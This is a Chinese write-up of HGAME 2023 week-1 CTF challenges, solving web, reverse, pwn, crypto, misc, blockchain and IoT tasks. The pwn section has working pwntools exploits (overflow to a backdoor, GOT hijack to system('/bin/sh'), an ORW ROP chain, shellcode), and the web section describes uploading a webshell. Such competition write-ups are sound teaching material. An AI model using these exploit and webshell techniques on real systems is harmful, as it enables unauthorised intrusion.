HGAME 2023 week1 wp by 没有头猪

web

Classic Childhood Game

js没有被混淆，直接翻，翻到Event.js最底下有个可疑的函数mota()，控制台执行得到flag

Guess Who I Am

根据html中的hint得到id和说明的json，用python简易写个脚本即可。注意其中有转义符的问题，不过因为100次不是很多，手动修正即可，脚本写得不是很完美但是能用。

```python
import requests
import json
geturl='http://week-1.hgame.lwsec.cn:31399/api/getQuestion'
posturl='http://week-1.hgame.lwsec.cn:31399/api/verifyAnswer'
headers=
{"Cookie":"session=MTY3Mjk1NjA5NXxEdi1CQkFFQ180SUFBUkFCRUFBQVBQLUNBQUlHYzNSeWFXNW
5EQWdBQm5OdmJIWmxaQU5wYm5RRUFnQi1Cbk4wY21sdVp3d05BQXRqYUdGc2JHVnVaMlZKWkFOcGJuUUV
BdORfdmc9PXxSMxqYtIOHkU0QeEuZEUQwhRER16XFi7TTZMflkyboCw=="}
table=json.loads(open('member.js',encoding='utf-8').read())
x=requests.get(geturl,headers=headers).content.decode(encoding='utf-8')
print(x)
for j in table:
    if j['intro'] in x:
        print(j['id'])
        print(j['intro'])
        result=requests.post(posturl, data={"id":j['id']},headers=headers)
        cookie=result.cookies
        break
input()
for i in range(36):
    x=requests.get(geturl,cookies=cookie).content.decode(encoding='utf-8')
    print(x)
    if "19级 / \u0026lt;/p\u0026gt;\u0026lt;p\u0026gt;Web" in x:
        result=requests.post(posturl, data={"id":"0x4qE"},cookies=cookie)
        print(result.content)
        cookie=result.cookies
        continue
    if "Plz v me 50 eth" in x:
        result=requests.post(posturl, data={"id":"latt1ce"},cookies=cookie)
        print(result.content)
        cookie=result.cookies
        continue
    for j in table:
        if j['intro'] in x:
            print(j['id'])
            print(j['intro'])
            result=requests.post(posturl, data={"id":j['id']},cookies=cookie)
            print(result.content)
            cookie=result.cookies
```

```
                break
```

Show Me Your Beauty

文件上传的后缀名没有过滤大写，传个后缀名.pHp的一句话木马即可getshell

reverse

test_your_IDA

有现成字符串，打开IDA一眼出

easyasm

这么短的汇编代码，往下直接找xor，找到了

```
xor eax,33h
```

也就是把最后的字节串异或0x33，得到flag

easyenc

编码方法

```
enc=(text^0x32)-86;
```

提取出编码后的41字节，然后写出对应解码程序

```
#include<stdio.h>
unsigned char ida_chars[] =
{
  0x04, 0xFF, 0xFD, 0x09, 0x01, 0xF3, 0xB0, 0x00, 0x00, 0x05,
  0xF0, 0xAD, 0x07, 0x06, 0x17, 0x05, 0xEB, 0x17, 0xFD, 0x17,
  0xEA, 0x01, 0xEE, 0x01, 0xEA, 0xB1, 0x05, 0xFA, 0x08, 0x01,
  0x17, 0xAC, 0xEC, 0x01, 0xEA, 0xFD, 0xF0, 0x05, 0x07, 0x06,
  0xF9, 0x00
};
int main(){
    for(int i=0;i<41;i++){
        unsigned char result=(ida_chars[i]+86)^0x32;
        printf("%c",result);
    }
    puts("");
    return 0;
}
```

a_cup_of_tea

通过题干猜测tea加密。因为程序使用了优化，IDA中需要进行一些小调整。分析得delta, key。解密程序

```
#include <stdio.h>
#define uint32_t unsigned int
void decrypt (uint32_t* v, uint32_t* k) {
	uint32_t v0=v[0], v1=v[1], sum=0x79bde460, i; /* set up */
	uint32_t delta=0xabcdef23; /* a key schedule constant */
	uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
	for (i=0; i<32; i++) { /* basic cycle start */
		v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
		v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
		sum -= delta;
	} /* end cycle */
	v[0]=v0; v[1]=v1;
}

int main()
{
	unsigned char a[34] = {  0x9D, 0x82, 0x63, 0x2E, 0x0F, 0x40, 0x4E, 0xC1,
0xB9, 0xBF,
  0x39, 0x9B, 0x14, 0x8B, 0x1F, 0x5A, 0xDE, 0x6D, 0x88, 0x61,
  0xCF, 0xC6, 0x65, 0x65, 0x64, 0x4F, 0x06, 0x9F, 0xF6, 0x43,
  0x6A, 0x23, 0x6B, 0x7D};
	uint32_t k[4]={0x12345678,0x23456789,0x34567890,0x45678901};
	for(int i=0;i<32;i+=8){
		uint32_t v[2]={*(uint32_t*)&a[i], *(uint32_t*)&a[i+4]};
		decrypt(v,k);
		unsigned char* chars = (unsigned char*)v;
		for(int i=0;i<8;i++){
			printf("%c",chars[i]);
		}
	}
	return 0;
}
```

encode

观察编码方式，发现是将一个字节的高4位和低4位分别储存，得解密程序

```
#include<stdio.h>
#include<stdint.h>
unsigned char ida_chars[] =
{
  0x08, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x07, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x06, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x06, 0x00,
  0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
  0x0B, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x05, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x00,
  0x06, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x06, 0x00,
  0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
  0x04, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00,
  0x05, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x06, 0x00,
  0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x0F, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x05, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x06, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x07, 0x00,
  0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x0F, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00,
    0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00,
    0x06, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x07, 0x00,
    0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0F, 0x00,
    0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
    0x07, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00,
    0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x02, 0x00,
    0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00,
    0x07, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00,
    0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
    0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x0E, 0x00,
    0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x06, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x06, 0x00,
    0x00, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00,
    0x05, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x05, 0x00,
    0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00,
    0x07, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x07, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
int main(){
    uint32_t* enc = ida_chars;
    for(int i=0;i<100;i+=2){
        printf("%c",enc[i]+(enc[i+1]<<4));
    }
    return 0;
}
```

pwn

test_nc

nc上去直接cat flag

easy_overflow

一个很大的溢出，有个后门函数，注意64位下system函数要栈以16字节对齐，所以增加一个ret。程序关闭了stdout，因此考虑用stderr输出。可以使用cat flag>&2或/bin/sh flag

exp:

```
from pwn import *
#p=process('./vuln')
p=connect('week-1.hgame.lwsec.cn',31953)
p.send(b'a'*24+p64(0x40101a)+p64(0x401176))
p.interactive()
#cat flag>&2
#/bin/sh flag
```

choose_the_seat

type confusion导致可以输入负数，程序Partial RELRO，并且在完成操作后调用exit函数，考虑劫持got表。先把exit劫持为main，再通过setbuf函数泄露libc基址，最后输入/bin/sh并且劫持puts为system即可getshell。exp

```
from pwn import *
context.log_level='debug'
#p=process('./vuln')
p=connect('week-1.hgame.lwsec.cn',30373)
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')
p.sendline(b'-6') #exit
p.sendafter(b'name',p64(elf.symbols['main']))
p.sendlineafter(b'one.\n',b'-8') #setbuf
p.sendafter(b'name',b'\xd0')
p.recvuntil(b'Your name is ')
libc_base=u64(p.recv(6)+b'\x00\x00')-libc.symbols['setbuf']
info('libc_base:'+hex(libc_base))
system_addr=libc_base+libc.symbols['system']
p.sendlineafter(b'one.\n',b'-9')
p.sendafter(b'name',b'/bin/sh\x00'+p64(system_addr))
p.interactive()
```

orw

因为ban掉了execve和execveat两个syscall，考虑orw。程序读取了很多，但是溢出比较少，考虑使用栈迁移。直接栈迁移到bss段即可。因为linux中按0x1000大小分配内存，因此bss段后面有不少空间。不过我做这道题的时候铸币了，所以泄露了栈地址，做麻烦了，不过原理类似。exp

```
from pwn import *
#p=process('./vuln')
p=connect('week-1.hgame.lwsec.cn',30033)
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')
pop_rdi=0x401393
retn=0x40101a
leave=0x4012ee
input()
p.send(b'a'*0x108+p64(pop_rdi)+p64(elf.got['puts'])+p64(0x401313))
p.recvuntil(b'task.\n')
libc_base=u64(p.recv(6)+b'\x00\x00')-libc.symbols['puts']
p.recvuntil(b'\n')
info('libc_base='+hex(libc_base))
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x142c92
pop_rax=libc_base+0x36174
syscall=libc_base+0x630a9
environ=libc_base+libc.symbols['environ']
p.send(b'a'*0x108+p64(pop_rdi)+p64(environ)+p64(0x401313))
stack=u64(p.recv(6)+b'\x00\x00')
stack=stack-stack%0x10
info('stack='+hex(stack))
p.send(b'a'*0x100+p64(stack)+p64(pop_rax)+p64(stack)+p64(0x4012d6))
```

```
sleep(1)
payload=p64(0)+p64(pop_rsi)+p64(0)+p64(pop_rdi)+p64(stack+0xc0)+p64(pop_rsi)+p64(
0)+p64(pop_rdx)+p64(0)+p64(libc_base+libc.symbols['open'])+p64(pop_rdi)+p64(3)+p6
4(pop_rdx)+p64(0x100)+p64(pop_rsi)+p64(stack-
0x1000)+p64(pop_rax)+p64(0)+p64(syscall)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(sta
ck-0x1000)+p64(libc_base+libc.symbols['write'])+b'flag\x00\x00\x00\x00'
input()
p.send(payload)
print(p.recvuntil(b'}'))
```

simple_shellcode

ban了getshell的路径，用orw。shellcode给了0x10大小的读，肯定要再通过一个read读入shellcode。注意到执行shellcode时rdx为0xCAFE0000（一个大数），很容易构造出一段read的shellcode。exp

```
from pwn import *
context(arch='amd64',os='linux')
#p=process('./vuln')
p=connect('week-1.hgame.lwsec.cn',32476)
sc=asm('''
xor eax,eax
xor edi,edi
lea rsi,[rip+2]
syscall
''')
p.send(sc)
input()
orw=b'\xb8flagPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011
\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xff\xc71\xc0\xfe\xc0\x0f\x05'
p.send(orw)
print(p.recvuntil(b'}'))
```

crypto

兔兔的车票

图片是随机生成的噪点图，考虑从异或运算的性质解决问题。注意到source中的噪声图补了很多0，因此像素点中有很多(48,48,48)的像素，因此将一张有意义的图片与source进行异或后，仍会较容易辨识。因此我们只要找到车票与source图片异或后的图片即可得到flag。我们这里不妨设

$$
\begin{aligned}
enc1 &= source1 \oplus n1 \\
enc2 &= source2 \oplus n2 \\
enc3 &= flag \oplus n1
\end{aligned}
$$

所以

$$enc1 \oplus enc3 = source1 \oplus flag$$

那么如何分辨这些enc图片是和nonce数组中的哪个异或得到的呢？我们可以从enc0开始与其他enc图片进行异或，由于source噪声图存在很多(48,48,48)像素，同色像素异或后为纯黑像素，异或后如果图片比较暗则说明这两张图片是异或同一个nonce元素得到的。由此我们从enc0开始进行图片的两两异或，发现enc1^enc6后得到了车票图片，即可得到flag

RSA

factordb可以直接分解，然后就是正常的RSA解密流程

```
from Crypto.Util.number import *
import gmpy2
p=112391349878049935867635590281872450576525502195152017686447707338690881853207409384501788161383948443297233114335498994997957756559212616640879970972948 13
q=120229126614209415925697517318026393750884274634301622521130826196178370109130025154502236569428363780411221638333590979109356384234640062528142669591289 53
n=p*q
phi=(p-1)*(q-1)
e=65537
c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
d=gmpy2.invert(e,phi)
m=gmpy2.powmod(c,d,n)
print(long_to_bytes(m))
```

Be Stream

二阶线性递推得到stream数列的通项公式，然后利用模运算的性质降低运算量后能秒出。解题脚本

```
import sympy
c=b'\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY'
key = [int.from_bytes(b"Be water", 'big'), int.from_bytes(b"my friend", 'big')]
key[0]%=256
key[1]%=256
sympy.init_printing()
l1=2-sympy.sqrt(11)
l2=2+sympy.sqrt(11)
a1=sympy.Rational(-178,7)+sympy.Rational(-755,7)/sympy.sqrt(11)
a2=sympy.Rational(-178,7)+sympy.Rational(755,7)/sympy.sqrt(11)
def stream(i):
    i+=1
    return sympy.simplify(a1*(l1**i)+a2*(l2**i))
for i in range(len(c)):
    water = stream(((i//2)**6)%256) % 256
    print(chr(c[i]^water),end='')
```

misc

Sign In

base64直接解码

Where am I

wireshark提取出fake.rar，推测为伪加密，010editor更改加密位后得到Exchangable.jpg，查看exif信息转为度分秒格式的经纬度得到flag

神秘的海报

lsb提取出flag part1，得到提示6位数字密码。ctf常用的6位数字密码114514或者123456，用steghide试一下123456就出了。

e99p1ant_want_girlfriend

根据题目提示crc32，推测修改了图片大小，png格式修改宽之后图片会损坏，无法查看，因此直接把高设为一个很大的数即可得到flag。

Blockchain

Checkin

按照题目操作后，查看合约源码，只要调用setGreeting函数即可。remix跑一下得到data，解题脚本

```python
from web3 import Web3,HTTPProvider
from Crypto.Util.number import *
web3=Web3(HTTPProvider("http://week-1.hgame.lwsec.cn:31240/"))
print(web3.isConnected())
acct = web3.eth.account.create()
print(acct.address)
input()
print(web3.eth.getBalance(acct.address))

def deploy(rawTx):
    signedTx = web3.eth.account.signTransaction(rawTx,
private_key=acct.privateKey)
    hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
    receipt = web3.eth.waitForTransactionReceipt(hashTx)
    print(receipt)
    return receipt

if __name__ == '__main__':
    rawTx = {
        'from': acct.address,
        'to': "0xED6C0E9cFF1abcbEDEE2615804730Fca5722c7Ef",
        'nonce': web3.eth.getTransactionCount(acct.address),
        'gasPrice': web3.toWei(1, 'gwei'),
        'gas': 487260,
        'value': web3.toWei(0, 'ether'),
        'data':
'0xa413686200000000000000000000000000000000000000000000000000000000000000020000000
000000000000000000000000000000000000000000000000000000000b48656c6c6f4847414d45210
00000000000000000000000000000000000000000',
        "chainId": web3.eth.chain_id
    }
    info = deploy(rawTx)
    print(info)
```

IoT

Help marvin

拿到一个逻辑分析仪抓到的波形文件，PulseView打开后观察波形，一眼SPI（不过时钟波形也太不规律了），CLK：d0；MOSI, MISO：d2；CS：d1

提取数据得到flag

Help the uncle who can't jump twice

根据提示，为mqtt协议，拿到用户名Vergil。mqtt-pwn爆破密码得到power，然后查看公告板Nero/#即可得到flag。